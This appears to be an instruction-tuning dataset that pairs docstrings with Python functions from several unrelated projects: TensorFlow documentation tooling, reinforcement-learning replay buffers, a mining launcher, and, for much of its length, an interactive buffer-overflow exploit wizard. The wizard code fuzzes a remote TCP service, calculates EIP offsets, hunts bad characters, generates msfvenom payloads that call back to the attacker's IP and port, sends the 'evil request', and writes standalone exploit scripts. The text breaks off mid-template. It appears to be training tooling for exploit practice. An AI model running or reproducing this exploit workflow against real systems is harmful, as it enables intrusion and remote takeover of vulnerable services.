[INST] Filters module children to remove builtin modules.. [/INST] def filter_builtin_modules(path: Sequence[str], parent: Any,
children: Children) -> Children:
del path
del parent
filtered_children = []
for name, child in children:
if inspect.ismodule(child) and child.__name__ in sys.builtin_module_names:
continue
filtered_children.append((name, child))
return filtered_children
[INST] Converts an ApiTreeNode to a list of toc entries.. [/INST] def _entries_from_api_node(
self, api_node: doc_generator_visitor.ApiTreeNode) -> List[Entry]:
obj_type = api_node.obj_type
if obj_type is obj_type_lib.ObjType.MODULE:
return [self._make_section(api_node)]
if obj_type is obj_type_lib.ObjType.CLASS:
return self._flat_class_entries(api_node)
if obj_type in [
obj_type_lib.ObjType.CALLABLE, obj_type_lib.ObjType.TYPE_ALIAS
]:
return [self._make_link(api_node)]
else:
return []
[INST] Returns the toc.Status of an ApiTreeNode.. [/INST] def _make_status(self, api_node: doc_generator_visitor.ApiTreeNode):
if self._is_deprecated(api_node):
return Status.DEPRECATED
if self._is_experimental(api_node):
return Status.EXPERIMENTAL
return None
[INST] Checks if an object is deprecated or not.
Each deprecated function has a `_tf_decorator.decorator_name` attribute.
Check the docstring of that function to confirm if the function was
indeed deprecated. If a different deprecation setting was used on the
function, then "THIS FUNCTION IS DEPRECATED" substring won't be inserted
into the docstring of that function by the decorator.. [/INST] def _is_deprecated(self, api_node: doc_generator_visitor.ApiTreeNode):
if doc_controls.is_deprecated(api_node.py_object):
return True
decorator_list = signature.extract_decorators(api_node.py_object)
if any('deprecat' in dec for dec in decorator_list):
docstring = getattr(api_node.py_object, '__doc__') or ''
return 'THIS FUNCTION IS DEPRECATED' in docstring
return False
[INST] For top-level modules, place the submodules as peers.. [/INST] def _flat_module_entries(self,
api_node: doc_generator_visitor.ApiTreeNode,
title: Optional[str] = None) -> List[Section]:
title = title or api_node.short_name
overview = self._make_link(api_node, title='Overview')
entries = []
submodule_sections = []
for name, child_node in api_node.children.items():
if child_node.obj_type is obj_type_lib.ObjType.MODULE:
subtitle = f'{title}.{name}'
submodule_sections.append(
self._make_section(child_node, title=subtitle))
else:
entries.extend(self._entries_from_api_node(child_node))
entries = sorted(entries, key=self._section_order_key)
entries.insert(0, overview)
submodule_sections = sorted(submodule_sections, key=self._section_order_key)
status = self._make_status(api_node)
module_section = Section(title=title, section=entries, status=status)
return [module_section] + submodule_sections
[INST] Write previously extracted docs to disk.
Write a docs page for each symbol included in the indices of parser_config to
a tree of docs at `output_dir`.
Symbols with multiple aliases will have only one page written about
them, which is referenced for all aliases.. [/INST] def write_docs(
*,
output_dir: Union[str, pathlib.Path],
parser_config: config.ParserConfig,
yaml_toc: Union[bool, Type[toc_lib.TocBuilder]],
root_module_name: str,
root_title: str = 'TensorFlow',
search_hints: bool = True,
site_path: str = 'api_docs/python',
gen_redirects: bool = True,
gen_report: bool = True,
extra_docs: Optional[Dict[int, str]] = None,
page_builder_classes: Optional[docs_for_object.PageBuilderDict] = None,
):
output_dir = pathlib.Path(output_dir)
site_path = pathlib.Path('/', site_path)
if not output_dir.is_absolute():
raise ValueError("'output_dir' must be an absolute path.\n"
f" output_dir='{output_dir}'")
output_dir.mkdir(parents=True, exist_ok=True)
redirects = []
api_report = None
if gen_report:
api_report = utils.ApiReport()
num_docs_output = 0
for api_node in parser_config.api_tree.iter_nodes():
full_name = api_node.full_name
if api_node.output_type() is api_node.OutputType.FRAGMENT:
continue
try:
page_info = docs_for_object.docs_for_object(
api_node=api_node,
parser_config=parser_config,
extra_docs=extra_docs,
search_hints=search_hints,
page_builder_classes=page_builder_classes)
if api_report is not None and not full_name.startswith(
('tf.compat.v', 'tf.keras.backend', 'tf.numpy',
'tf.experimental.numpy')):
api_report.fill_metrics(page_info)
except Exception as e:
raise ValueError(
f'Failed to generate docs for symbol: `{full_name}`') from e
path = output_dir / parser.documentation_path(full_name)
try:
path.parent.mkdir(exist_ok=True, parents=True)
path.write_text(page_info.page_text, encoding='utf-8')
num_docs_output += 1
except OSError as e:
raise OSError('Cannot write documentation for '
f'{full_name} to {path.parent}') from e
duplicates = parser_config.duplicates.get(full_name, [])
if not duplicates:
continue
duplicates = [item for item in duplicates if item != full_name]
if gen_redirects:
for dup in duplicates:
from_path = site_path / dup.replace('.', '/')
to_path = site_path / full_name.replace('.', '/')
redirects.append({'from': str(from_path), 'to': str(to_path)})
if api_report is not None:
api_report.write(output_dir / root_module_name / 'api_report.pb')
if num_docs_output <= 1:
raise ValueError('The `DocGenerator` failed to generate any docs. Verify '
'your arguments (`base_dir` and `callbacks`). '
'Everything you want documented should be within '
'`base_dir`.')
if yaml_toc:
if isinstance(yaml_toc, bool):
yaml_toc = toc_lib.FlatModulesTocBuilder
toc = yaml_toc(site_path).build(parser_config.api_tree)
toc_path = output_dir / root_module_name / '_toc.yaml'
toc.write(toc_path)
if redirects and gen_redirects:
redirects_dict = {
'redirects': sorted(redirects, key=lambda redirect: redirect['from'])
}
api_redirects_path = output_dir / root_module_name / '_redirects.yaml'
with open(api_redirects_path, 'w') as redirect_file:
yaml.dump(redirects_dict, redirect_file, default_flow_style=False)
with open(output_dir / root_module_name / 'all_symbols.md', 'w') as f:
global_index = parser.generate_global_index(
root_title, parser_config.index, parser_config.reference_resolver)
if not search_hints:
global_index = 'robots: noindex\n' + global_index
f.write(global_index)
[INST] Returns a random sample from the buffer.
Parameters
batch_size : int
The number of observations to sample.. [/INST] def sample(self, batch_size):
return sample(self.memory, batch_size)
[INST] Adds a transition to the buffer and add an initial prioritization.
Parameters
args
The state, action, reward, next_state, done tuple. [/INST] def append(self, *args, **kwargs):
idx = self.position
super().append(*args, **kwargs)
self._it_sum[idx] = self._max_priority ** self._alpha
self._it_min[idx] = self._max_priority ** self._alpha
[INST] Sample a batch of experiences.
while returning importance weights and idxes
of sampled experiences.
Parameters
int
How many transitions to sample.
beta: float
To what degree to use importance weights
(0 - no corrections, 1 - full correction)
Returns
np.array
Array of shape (batch_size,) and dtype np.float32
denoting importance weight of each sampled transition
idxes: np.array
Array of shape (batch_size,) and dtype np.int32
idexes in buffer of sampled experiences. [/INST] def sample(self, batch_size, beta):
assert beta > 0
idxes = self._sample_proportional(batch_size)
weights = []
p_min = self._it_min.min() / self._it_sum.sum()
max_weight = (p_min * len(self.memory)) ** (-beta)
for idx in idxes:
p_sample = self._it_sum[idx] / self._it_sum.sum()
weight = (p_sample * len(self.memory)) ** (-beta)
weights.append(weight / max_weight)
weights = np.array(weights)
encoded_sample = tuple(zip(*self._encode_sample(idxes)))
batch = list(zip(*encoded_sample, weights, idxes))
return batch
[INST] Update priorities of sampled transitions.
sets priority of transition at index idxes[i] in buffer
to priorities[i].
Parameters
[int]
List of idxes of sampled transitions
priorities: [float]
List of updated priorities corresponding to
transitions at the sampled idxes denoted by
variable `idxes`.. [/INST] def update_priorities(self, idxes, priorities):
assert len(idxes) == len(priorities)
priorities += np.finfo('float').eps
for idx, priority in zip(idxes, priorities):
if priority < 0:
priority = np.finfo('float').eps
assert 0 <= idx < len(self.memory)
self._it_sum[idx] = priority ** self._alpha
self._it_min[idx] = priority ** self._alpha
self._max_priority = max(self._max_priority, priority)
[INST] Forcing gradients to stay within a certain interval
by setting it to the bound if it goes over it.
Parameters
x : number > 0
Sets the interval to be [-x, x]. [/INST] def clamp_gradients(self, x=1):
assert x > 0
for param in self.model.parameters():
param.grad.data.clamp_(-x, x)
[INST] Clears out gradients held in the model.. [/INST] def zero_grad(self):
self.model.zero_grad()
[INST] Run a step of the optimizer on `model`.. [/INST] def step(self):
self.optimizer.step()
[INST] Calculate gradients by shifting parameters
towards the networks with the highest fitness value.
This is calculated by evaluating the fitness of multiple
networks according to the fitness function specified in
the class.. [/INST] def calc_gradients(self, *args):
white_noise_dict, noise_dict = self._generate_noise_dicts()
candidate_solutions = self._generate_candidate_solutions(noise_dict)
fitness_values = torch.tensor(
[self.fitness(x, *args) for x in candidate_solutions],
device=self.device
)
if log.enabled:
log.Logger[self.name + "/" + "fitness_value"].append(fitness_values.mean().item())
fitness_values = (fitness_values - fitness_values.mean()) / (fitness_values.std() + np.finfo('float').eps)
self.zero_grad()
for name, param in self.model.named_parameters():
if param.requires_grad:
noise_dim_n = len(white_noise_dict[name].shape)
dim = np.repeat(1, noise_dim_n - 1).tolist() if noise_dim_n > 0 else []
param.grad = (white_noise_dict[name] * fitness_values.float().reshape(self.population_size, *dim)).mean(0) / self.sigma
[INST] Perform a full state sync with the originating model.. [/INST] def sync(self):
self.target_model.load_state_dict(self.model.state_dict())
[INST] Partially move closer to the parameters of the originating
model by updating parameters to be a mix of the
originating and the clone models.
Parameters
tau : number
A number between 0-1 which indicates
the proportion of the originator and clone in the new clone.. [/INST] def partial_sync(self, tau):
assert isinstance(tau, float)
assert 0.0 < tau <= 1.0
model_state = self.model.state_dict()
target_state = self.target_model.state_dict()
for grad_index, grad in model_state.items():
target_state[grad_index].copy_((1 - tau) * target_state[grad_index] + tau * grad)
self.target_model.load_state_dict(target_state)
[INST] Adds a log-based probability to the observation.. [/INST] def append_log_probs(self, logprob):
self.log_probs.append(logprob)
[INST] Clears the transitions and log-based probabilities.. [/INST] def clear(self):
self.memory.clear()
self.log_probs.clear()
[INST] Return a list of the transitions with their
associated log-based probabilities.. [/INST] def recall(self):
if len(self.memory) != len(self.log_probs):
raise ValueError("Memory and recorded log probabilities must be the same length.")
return list(zip(*tuple(zip(*self.memory)), self.log_probs))
[INST] None
Prompt user to set up commands for mining on their machine. [/INST] def mine():
try:
mining_path = os.path.expanduser('~/.vectordash/mining/mine.sh')
pid_path = os.path.expanduser('~/.vectordash/mining/pid')
if os.path.exists(mining_path):
subprocess.call("chmod +x " + mining_path, shell=True)
process = subprocess.Popen(mining_path)
pid_file = open(pid_path, 'w')
pid_file.write(str(process.pid))
pid_file.close()
else:
print("Please run " + stylize("vdhost setcommands", fg("blue")) + " before trying to mine.")
except Exception as e:
print(stylize("The following error was thrown: ", fg("red")) + str(e))
print(stylize("Your mining commands could not be executed. Are you sure you are using absolute paths?",
fg("red")))
[INST] None
Prompt user to set up commands for mining on their machine. [/INST] def stop():
try:
pid_path = os.path.expanduser('~/.vectordash/mining/pid')
if os.path.exists(pid_path):
pid_file = open(pid_path, 'r')
pid = pid_file.read()
pid_file.close()
if int(pid) < 0:
print("Not currently mining. Run " + stylize("vdhost mine", fg("blue")) + " to start mining")
return
subprocess.call("kill -- -$(ps -o pgid= " + pid + " | grep -o [0-9]*)", shell=True)
while pid_exists(pid):
print("Attempting to force kill subprocess")
subprocess.call("kill -9 -p " + pid, shell=True)
pid_file = open(pid_path, 'w')
pid_file.write("-1")
pid_file.close()
else:
print("Please run " + stylize("vdhost mine", fg("blue")) + " before trying to stop mining.")
return
except ValueError as e:
print(stylize("The following error was thrown: ", fg("red")) + str(e))
print(stylize("Your mining commands could not be executed. Are you sure you are using absolute paths?",
fg("red")))
[INST] Check whether pid exists in the current process table.
UNIX only.. [/INST] def pid_exists(pid):
try:
print("Double-checking to ensure process was killed")
os.kill(int(pid), 0)
except OSError:
print("pid: " + pid + " killed")
return False
else:
print("pid: " + pid + " still exists")
return True
[INST] Checks if all required binaries are available. [/INST] def check_dependencies():
dependencies = ['msf-pattern_create', 'msf-pattern_offset', 'msfvenom']
deps_ok = True
for dep in dependencies:
try:
sub.call(dep, stdout=sub.DEVNULL, stderr=sub.DEVNULL)
except OSError:
deps_ok = False
print_error('Missing binary: {}'.format(dep))
if not deps_ok:
print_info('You need to install the Metasploit Framework')
return deps_ok
[INST] Prints a welcome message to the screen. [/INST] def print_welcome():
print('''{}
╔═╗┬┌┬┐┌─┐┬ ┌─┐
╚═╗││││├─┘│ ├┤
╚═╝┴┴ ┴┴ ┴─┘└─┘
▄▄▄▄ ▒█████
▓█████▄ ▒██▒ ██▒
▒██▒ ▄██▒██░ ██▒
▒██░█▀ ▒██ ██░
░▓█ ▀█▓░ ████▓▒░
░▒▓███▀▒░ ▒░▒░▒░
▒░▒ ░ ░ ▒ ▒░
░ ░ ░ ░ ░ ▒ *
░ ░ ░ *°
*°`
╦ ╦┬┌─┐┌─┐┬─┐┌┬┐ *°``
║║║│┌─┘├─┤├┬┘ ││ (´***°``)
╚╩╝┴└─┘┴ ┴┴└──┴┘ ```*´´´
This wizards helps you getting
started with simple buffer overflows.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~{}
'''.format(CYAN, FORMAT_END))
[INST] Prints the buffer overflow types to the screen and stores the users selection. [/INST] def select_bo_type():
show_prompt_text('Select type of buffer overflow:')
show_prompt_text('[ L ] Local buffer overflow', False)
show_prompt_text(' {} = Open a malicious file in an application {}'.format(GRAY, FORMAT_END), False)
show_prompt_text('[ R ] Remote buffer overflow', False)
show_prompt_text(' {} = Send a malicious request via TCP to an application {}'.format(GRAY, FORMAT_END), False)
user_input = get_input(bo_type_valid)
global bo_type
bo_type = 'local' if user_input in ['l', 'loc', 'local'] else 'remote'
[INST] We will increasing payloads and send them to the application to find out at which length a buffer overflow occurs. [/INST] def step_fuzzing():
global current_step
current_step = 0
show_step_banner('[0] Fuzzing')
if bo_type == 'local':
show_prompt_text('Enter file extension:')
user_input = get_input(ext_valid)
global file_ext
global file
file_ext = user_input
file = file_name + '.' + file_ext if file_ext else file_name
print('\n{} files with increasing size will be generated. The following settings will be used:\n'.format(
fuzz_buff_length))
settings = [desc_file_ext(), desc_fuzz_buff_length(), desc_fuzz_char(), desc_increase_step(),
desc_start_command(), desc_end_command()]
elif bo_type == 'remote':
show_prompt_text('Enter target IP:')
user_input = get_input(ip_valid)
global target
target = user_input
show_prompt_text('Enter target port:')
user_input = get_input(port_valid)
global port
port = int(user_input)
print('\nA fuzzing file will be generated. The following settings will be used:\n')
settings = [desc_target(), desc_port(), desc_fuzz_buff_length(), desc_fuzz_char(),
desc_increase_step(), desc_start_command(), desc_end_command()]
show_settings(settings)
if proceed_ok():
if bo_type == 'local':
dump_local_fuzz()
elif bo_type == 'remote':
dump_remote_fuzz()
run_remote_fuzzing()
step_pattern()
[INST] Based on the buffer length determined through fuzzing (previous step), we will create and send
a unique pattern which will help us finding the offset. [/INST] def step_pattern():
global current_step
current_step = 1
show_step_banner('[1] Finding offset')
show_prompt_text('Enter the length at which the application/service crashed:')
user_input = get_input(number_valid)
global pattern_length
pattern_length = int(user_input) - len(start_command) - len(end_command)
global buf_length
buf_length = int(user_input)
tmp_file = 'pattern.txt'
command = 'msf-pattern_create -l {} > {}'.format(pattern_length, tmp_file)
thread = call_command(command)
while thread.running():
animation('Creating pattern')
if thread.result() == 0:
print()
with open(tmp_file, 'r') as f:
pattern = f.read().splitlines()[0].encode()
global buffer
buffer = buffer_list.get_buffer_by_name('pattern').get_buffer(pattern)
os.unlink(tmp_file)
print('The exploit file will be generated. The following settings will be used:\n')
if bo_type == 'local':
settings = [desc_pattern(), desc_start_command(), desc_end_command()]
show_settings(settings)
if proceed_ok():
dump_local_exploit()
print(' Load file into vulnerable application and check which pattern is shown in EIP on crash.')
elif bo_type == 'remote':
settings = [desc_target(), desc_port(), desc_pattern(), desc_start_command(), desc_end_command()]
show_settings(settings)
if proceed_ok():
dump_remote_exploit()
run_remote_exploit()
step_offsets()
[INST] In the offset step, the user enters the value that overwrites EIP.
By comparing this value to the pattern (previous step), the offset can be determined.
We will then build a custom payload that places Bs in the EIP.
The user must then check in the debugger whether the offset has been calculated properly.. [/INST] def step_offsets():
global current_step
current_step = 2
show_step_banner('[2] Checking offsets')
show_prompt_text('Enter the 8 characters that are shown in the EIP:')
user_input = get_input(pattern_valid)
tmp_file = 'offset.txt'
command = 'msf-pattern_offset -q {} > {}'.format(shlex.quote(user_input), tmp_file)
thread = call_command(command)
while thread.running():
animation('Finding offset')
if thread.result() == 0:
print()
with open(tmp_file, 'r') as f:
result = f.read()
try:
global offset
offset = int(result.split(' ')[-1])
print_info('Offset at ' + str(offset))
except (ValueError, IndexError):
print_error('Could not find string in pattern. Maybe the exploit did not work?')
print_info('You could return to step [1] and try increasing the length.')
os.unlink(tmp_file)
valid_step = False
while not valid_step:
show_prompt_text('With which step do you want to proceed?')
user_input = get_input(number_valid)
if set_step(user_input):
valid_step = True
os.unlink(tmp_file)
show_prompt_text('Enter the 8 characters that are shown at the top of stack:')
user_input = get_input(pattern_valid)
tmp_file = 'offset.txt'
command = 'msf-pattern_offset -q {} > {}'.format(shlex.quote(user_input), tmp_file)
thread = call_command(command)
while thread.running():
animation('Finding offset')
if thread.result() == 0:
print()
with open(tmp_file, 'r') as f:
result = f.read()
try:
stack_offset = int(result.split(' ')[-1])
print_info('Offset at ' + str(stack_offset))
global nop_sled
off_stack_dist = stack_offset - offset
if off_stack_dist > nop_sled:
nop_sled = off_stack_dist
except (ValueError, IndexError):
print_info('Could not find string in pattern. '
'Seems that the overflow did not overwrite the stack. We will deal with that later.')
os.unlink(tmp_file)
global buffer
buffer = buffer_list.get_buffer_by_name('generic').get_buffer()
if bo_type == 'local':
dump_local_exploit()
elif bo_type == 'remote':
update_remote_exploit()
run_remote_exploit()
print(
' Does the EIP show 42424242? If not, something is wrong with the offset and you should repeat the previous steps.')
print_info('Write the address down where the Cs start. You can use it later to find bad characters with mona.')
if proceed_ok():
step_badchars()
[INST] In the badchar step an ASCII string is repeatedly passed as payload.
The user has to examine the result in a debugger and enter the characters that break the exploit.
These characters are stored and will be considered later when creating the real payload.. [/INST] def step_badchars():
global current_step
current_step = 3
show_step_banner('[3] Finding bad characters')
print_info('You must probably repeat this step multiple times until you have found all bad characters.')
print('''{}
In Immunity Debugger, you can use mona to find the bad characters. To do so, do the following before running the exploit:
1. Set up working directory: !mona config -set workingfolder c:\\mona\\%p
2. Create byte array: !mona bytearray
{}'''.format(GRAY, FORMAT_END))
all_chars_found = False
while not all_chars_found:
global buffer
buffer = buffer_list.get_buffer_by_name('badcharc').get_buffer()
if bo_type == 'local':
dump_local_exploit()
elif bo_type == 'remote':
update_remote_exploit()
run_remote_exploit()
print('\n Can you see all Cs when following ESP or EAX in dump (depending on where the Cs are stored)?')
print('''{}
In Immunity Debugger, you can use mona to find the bad characters.
To do so, do the following before resending the exploit:
1. Compare: !mona compare -f c:\\mona\\\\bytearray.bin -a
2. Recreate byte array: !mona bytearray -cpb "{}"
{}'''.format(GRAY, '\\x' + '\\x'.join(c for c in badchars), FORMAT_END))
show_prompt_text('Enter the character (e.g. 00, 0a, 0d) which does not show up or breaks the exploit')
show_prompt_text('To show all possible ascii characters enter {}show ascii{}'.format(BOLD, FORMAT_END))
show_prompt_text('Leave empty / press Enter when there a no more bad characters.')
user_input = get_input(bad_char_valid)
if user_input == '':
all_chars_found = True
else:
char = unhexlify(user_input)
global char_string
char_string = char_string.replace(char, b'')
badchars.append(user_input)
step_return()
[INST] By examining the buffer overflow, we can determine where to put the payload and which command to use to access it. [/INST] def step_return():
global current_step
current_step = 4
show_step_banner('[4] Finding return address')
show_prompt_text('Examine the buffer overflow in the debugger. Which case does apply?')
buf_types = buffer_list.get_selectable_buffers()
for b in buf_types:
show_prompt_text('[ ' + str(b.id) + ' ] ' + b.select_text, False)
while True:
user_input = int(get_input(number_valid))
if 0 <= user_input < len(buf_types):
break
print_warning('The number you entered is invalid')
selected = buffer_list.get_buffer_by_id(user_input)
selected.get_input()
global buffer
buffer = selected.get_buffer()
if bo_type == 'local':
dump_local_exploit()
elif bo_type == 'remote':
update_remote_exploit()
run_remote_exploit()
print(' Check if everything is where it should be. If not, repeat previous steps.')
if proceed_ok():
step_payload()
[INST] We define the type of payload we wish to send and create the final exploit file.. [/INST] def step_payload():
global current_step
current_step = 5
show_step_banner('[5] Creating payload')
global connect_ip
show_prompt_text('Enter your IP (hit Enter to use current value {}):'.format(connect_ip))
user_input = get_input(ip_valid)
if user_input != '':
connect_ip = user_input
global connect_port
show_prompt_text('Enter the port to listen on (hit Enter to use current value {}):'.format(connect_port))
user_input = get_input(port_valid)
if user_input != '':
connect_port = user_input
global arch
show_prompt_text('Enter the target architecture (hit Enter to use current value {}):'.format(arch))
user_input = get_input(arch_valid)
if user_input != '':
arch = 'x' + user_input
global platform
show_prompt_text('Enter the target platform (hit Enter to use current value {}):'.format(platform))
user_input = get_input(platform_valid)
if user_input != '':
platform = user_input
global payload
while True:
show_prompt_text('Enter payload type'.format(payload))
show_prompt_text('Show all available with {}show payloads{}'.format(BOLD, FORMAT_END))
user_input = get_input(payload_valid)
if user_input == 'show payloads':
show_payloads()
continue
else:
payload = user_input
payload_ok = create_payload()
if payload_ok and bo_type == 'local':
dump_local_exploit()
elif payload_ok and bo_type == 'remote':
update_remote_exploit()
run_remote_exploit()
show_prompt_text('Did your exploit work? If not, try sending a different payload.')
show_prompt_text(
'Enter {}again{} to try again. Hit Enter if everything worked fine.'.format(BOLD, FORMAT_END))
user_input = get_input(check_text)
if user_input == '':
break
else:
continue
get_input(generic_check)
[INST] Creates a palyoad with msfvenom and updates the buffer. [/INST] def create_payload():
tmp_file = 'payload.py'
payload_size = buffer_list.selected_buffer.payload_size
command = "msfvenom -a {arch} --platform {plat} -p {pay} LHOST={host} LPORT={port} EXITFUNC=thread -s {size} -b '{bad}' -f py -v payld -o {file}".format(
arch=shlex.quote(arch),
plat=shlex.quote(platform),
pay=shlex.quote(payload),
host=connect_ip,
port=connect_port,
size=payload_size,
bad='\\x' + '\\x'.join(str(char) for char in badchars),
file=tmp_file)
print_info("Executing command: " + command)
thread = call_command(command)
while thread.running():
animation('Creating payload')
if thread.result() == 0:
print()
from payload import payld
global payload_code
payload_code = payld
shutil.rmtree('__pycache__', ignore_errors=True)
global buffer
buffer = buffer_list.selected_buffer.get_buffer()
print_info('Buffer has been updated with new payload')
if len(payload_code) > payload_size:
print_warning(
"The payload was generated as small as possible. However, it is larger than the specified payload size.\n"
"The exploit probably still works fine, but don't be surprised if problems occur.")
return True
else:
print('\n')
print_warning('Something went wrong when creating the payload. Check if you have entered a valid payload.')
print_info('To create a new payload use {}set payload {}'.format(BOLD, FORMAT_END))
return False
[INST] Accepts certain string variants for local / remote. [/INST] def bo_type_valid(user_input):
if user_input in ['l', 'r', 'loc', 'rem', 'local', 'remote']:
return True
print_error("Invalid buffer overflow type. Only 'local' or 'remote' are possible.")
return False
[INST] Accepts a string with a maximum length of 20 as file extension. [/INST] def ext_valid(user_input):
if user_input.startswith('.') or len(user_input) > 20 or ' ' in user_input:
return False
print_error("Invalid input. Enter the extension without preceding dot. Maximum length is 20.")
return True
[INST] Accepts a string with a valid IP address. [/INST] def ip_valid(user_input):
if user_input == '':
return True
ip_regex = re.compile(
r'^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$')
return re.match(ip_regex, user_input)
[INST] Accepts an integer within the number range for ports. [/INST] def port_valid(user_input):
if user_input == '':
return True
try:
port_no = int(user_input)
if 0 <= port_no <= 65535:
return True
else:
print_error("Invalid port number.")
return False
except ValueError:
print_error("Invalid port number.")
return False
[INST] The Metasploit pattern is alphanumeric, so the EIP value as well. [/INST] def pattern_valid(user_input):
if len(user_input) == 8 and user_input.isalnum():
return True
print_error("Invalid pattern. The pattern mus be an 8-bit hex value.")
return False
[INST] Accepts an alphanumeric value of length 2 or no input (= Enter). [/INST] def bad_char_valid(user_input):
if user_input == '':
return True
if len(user_input) == 2 and user_input.isalnum():
try:
int(user_input, 16)
return True
except ValueError:
return False
print_error("Invalid character. Enter the hex value: 00 0a etc.")
return False
[INST] Accepts a memory location: 8-bit hex value. [/INST] def address_valid(user_input):
if len(user_input) == 8:
try:
int(user_input, 16)
return True
except ValueError:
return False
print_error("Invalid memory address. Must be an 3-bit hex value.")
return False
[INST] Accepts a string matching the basic format 'platform/payload. [/INST] def payload_valid(user_input):
if len(user_input.split('/')) >= 2 or user_input == 'show payloads' or user_input == '':
return True
print_error("Invalid payload. Use 'show payloads' to show valid payloads.")
return False
[INST] Msfvenom platforms are words with a maximum length of 10. [/INST] def platform_valid(user_input):
if (len(user_input) <= 10 and user_input.isalpha()) or user_input == '':
return True
print_error("Invalid platform type")
return False
[INST] Accepts any string without numbers or special characters. [/INST] def check_text(user_input):
if user_input.isalpha() or user_input == '':
return True
print_error("Invalid input")
return False
[INST] Requires the user to hit enter to proceed. [/INST] def proceed_ok():
show_prompt_text('Press Enter to proceed.')
if get_input(check_enter) == '':
return True
return False
[INST] Prints the currently set values of all parameters. [/INST] def show_options():
dash = '-' * 77
header = ['Name', 'Current setting', 'Required', 'Description']
options = [
[
['Global parameters'],
desc_bo_type(),
desc_start_command(),
desc_end_command()
],
[
['Local buffer overflow parameters'],
desc_file_name(),
desc_file_ext()
],
[
['Remote buffer overflow parameters'],
desc_target(),
desc_port()
],
[
['Fuzzing'],
desc_fuzz_buff_length(),
desc_increase_step(),
desc_fuzz_char()
],
[
['Buffer'],
desc_pattern(),
desc_buf_length(),
desc_offset(),
desc_badchars(),
desc_nop_sled(),
desc_nop_padding(),
desc_return_address()
],
[
['Payload'],
desc_payload(),
desc_arch(),
desc_platform(),
desc_connect_ip(),
desc_connect_port()
]
]
print(BOLD, GRAY)
print('{:<15s}{:<20}{:<15s}{:<30s}'.format(header[0], header[1], header[2], header[3]))
print(dash, FORMAT_END)
for item in options:
for index, value in enumerate(item):
if index == 0:
print(BOLD, GRAY)
print(value[0].upper(), FORMAT_END)
else:
print('{:<15s}{:<20}{:<15s}{:<30s}'.format(value[0], value[1], value[2], value[3]))
print('\n')
[INST] Shows parameters and their currently set values. [/INST] def show_settings(settings):
header = ['Parameter', 'Current setting', 'Description']
print('{}{}{:<15s}{:<20}{:<30s}{}'.format(BOLD, GRAY, header[0], header[1], header[2], FORMAT_END))
for item in settings:
print('{}{:<15s}{:<20}{:<30s}{}'.format(GRAY, item[0], item[1], item[3], FORMAT_END))
print('\nIf you wish to change these settings, enter {}set {}\n'.format(BOLD, FORMAT_END))
[INST] Displays all steps of the wizard and marks the currently selected step. [/INST] def show_steps():
print('\nThe wizard guides you through the following steps:')
steps = ['Fuzzing',
'Send pattern to find offset for EIP',
'Check offsets',
'Check bad characters',
'Check return address',
'Create payload']
for index, value in enumerate(steps):
if index == current_step:
print('{}=>[{}] {} {}'.format(CYAN, index, value, FORMAT_END))
else:
print('{} [{}] {} {}'.format(GRAY, index, value, FORMAT_END))
print('The prompt shows your current step.')
print('You can switch between steps at any time with {}set step {}\n'.format(BOLD, FORMAT_END))
[INST] Shows all payloads available in Metasploit based on the current values for architecture and platform. [/INST] def show_payloads():
tmp_file = 'payloads.txt'
command = 'msfvenom -l payloads > {}'.format(tmp_file)
thread = call_command(command)
while thread.running():
animation('Searching payloads in msfvenom')
if thread.result() == 0:
print()
with open(tmp_file, 'r') as f:
for line in f:
splitted = line.split(' ')
if len(splitted) > 5:
name = splitted[4]
if platform in name:
if arch == 'x86' and 'x64' not in name:
print(name)
elif arch == 'x64' and 'x86' not in name:
print(name)
os.unlink(tmp_file)
[INST] Shows all ASCII characters in a matrix (helps finding bad chars). [/INST] def show_ascii():
hexed = char_string.hex()
listed = [hexed[i:i + 2] for i in range(0, len(hexed), 2)]
cols = 16
lines = (" ".join(listed[i:i + cols]) for i in range(0, len(listed), cols))
print('\n')
print('\n'.join(lines))
[INST] Asks the user if the remote exploit should be run automatically. [/INST] def run_remote_exploit():
show_prompt_text('You can check and run the exploit file manually or press Enter to let the wizard run it.')
show_prompt_text('Enter "skip" to proceed without running the file.', False)
if get_input(check_text) == 'skip':
return
else:
send_exploit()
[INST] Sends a request with the payload for a remote buffer overflow. [/INST] def send_exploit():
try:
with so.socket(so.AF_INET, so.SOCK_STREAM) as s:
s.settimeout(5)
print_info('Connecting to {}'.format(target))
connect = s.connect_ex((target, port))
if connect != 0:
print_error('Connection failed')
return
try:
try:
print('[*] Received response: ' + str(s.recv(1024)))
except so.timeout:
pass
print_info('Sending evil request with {} bytes'.format(len(buffer)))
s.send(buffer)
print_success('Done')
except so.timeout:
print_error('Connection failed due to socket timeout')
except (BrokenPipeError, ConnectionResetError):
print_error('The connection was closed while sending the payload')
[INST] Asks the user if the remote exploit should be run automatically. [/INST] def run_remote_fuzzing():
show_prompt_text('You can check and run the fuzzing file manually or press Enter to let the wizard run it.')
show_prompt_text('Enter "skip" to proceed without running the file.', False)
if get_input(check_text) == 'skip':
return
else:
send_fuzzing()
print_info('Fuzzing finished')
[INST] Sends requests with increasing payloads to cause a remote buffer overflow. [/INST] def send_fuzzing():
build_fuzz_buffer()
try:
for item in fuzz_buffer:
with so.socket(so.AF_INET, so.SOCK_STREAM) as s:
s.settimeout(5)
print_info('Connecting to ' + target)
connect = s.connect_ex((target, port))
if connect != 0:
print_error('Connection failed')
return
try:
try:
print('[*] Received response: ' + str(s.recv(1024)))
except so.timeout:
pass
command = start_command + item + end_command
print_info('Fuzzing with {} bytes'.format(len(command)))
s.send(command)
try:
print('[*] Received response: ' + str(s.recv(1024)))
except so.timeout:
pass
print_success('Done')
except so.timeout:
print_error('Connection failed due to socket timeout.')
return
except (BrokenPipeError, ConnectionResetError):
print_error('The connection was closed while sending the payload')
[INST] Creates a file with the payload for a local buffer overflow. [/INST] def dump_local_exploit():
global file
global buffer
try:
with open(file, 'wb') as f:
f.write(buffer)
print_success('Created / modified file with length {}'.format(len(buffer)))
except OSError as ex:
print_error('Error while creating the exploit file:\n {}'.format(ex.strerror))
[INST] Writes a python file with the exploit based on the currently set parameters. [/INST] def dump_remote_exploit():
global file
content = """\
#!/usr/bin/python3
import socket as so
# --- Define target ------------------------
target = '{target}'
port = {port}
# ------------------------------------------
# --- Define exploit ------------------------
buf_length = {buffer_length}
offset = {off}
{buffer_code}
# ------------------------------------------
with so.socket(so.AF_INET, so.SOCK_STREAM) as s:
try:
s.settimeout(5)
print(' [*] Connecting to', target)
